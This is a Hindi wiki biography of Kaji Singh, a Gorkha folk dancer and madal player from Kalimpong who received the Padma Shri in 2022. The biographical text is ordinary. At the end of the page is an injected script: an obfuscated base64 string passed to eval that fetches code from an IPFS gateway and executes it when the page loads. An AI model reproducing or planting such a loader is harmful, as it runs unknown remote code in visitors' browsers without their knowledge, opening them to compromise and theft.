काजी सिंह

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (वार्ता | योगदान) द्वारा परिवर्तित 10:26, 26 मई 2022 का अवतरण (''''काजी सिंह''' (अंग्रेज़ी: ''Kaji Singh'') भारतीय गोरखा लोक कल...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:नेविगेशन, खोजें

काजी सिंह (अंग्रेज़ी: Kaji Singh) भारतीय गोरखा लोक कलाकार हैं। वर्ष 2022 में भारत सरकार ने उन्हें पद्म श्री से सम्मानित किया है।

  • कलिम्पोंग में पैदा हुए काजी सिंह ने सन 1952 में पारंपरिक नेपाली 'मारुनी' नृत्य के साथ अपने कॅरियर की शुरुआत की थी।
  • बड़े होने पर उन्होंने 'मडले' गाने गाना शुरू किया और अपने कौशल को विकसित किया और श्री मदल बजाना शुरू किया जो उन्होंने अपने पिता से सीखा था।
  • अखिल भारतीय अनुसूचित जाति संघ, सुकना की सिलीगुड़ी शाखा द्वारा भी तालवादक काजी सिंह को सम्मानित किया जा चुका है।
  • काजी सिंह ने बचपन से ही लोक संस्कृति में महत्वपूर्ण रुचि ली और बॉलीवुड के प्रख्यात संगीतकारों लक्ष्मीकांत प्यारेलाल, कल्याणजी-आनंदजी, राम लक्ष्मण, शंकर जयकिशन, अजय स्वामी और कई अन्य लोगों के साथ काम किया।
  • अपने संबोधन में काजी सिंह ने सभी से अपनी मूल भाषा से प्यार करने और उसे संरक्षित करने के लिए कहा था। उनका कहना था कि- "हमें अपने मुंह के साथ-साथ अपनी भाषा को भी कंधों पर लेकर चलना चाहिए। अंग्रेज़ी तो चलेगी लेकिन संस्कृति और परंपराओं को बढ़ावा देने के लिए हमें अपनी भाषा को नहीं भूलना चाहिए।"


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>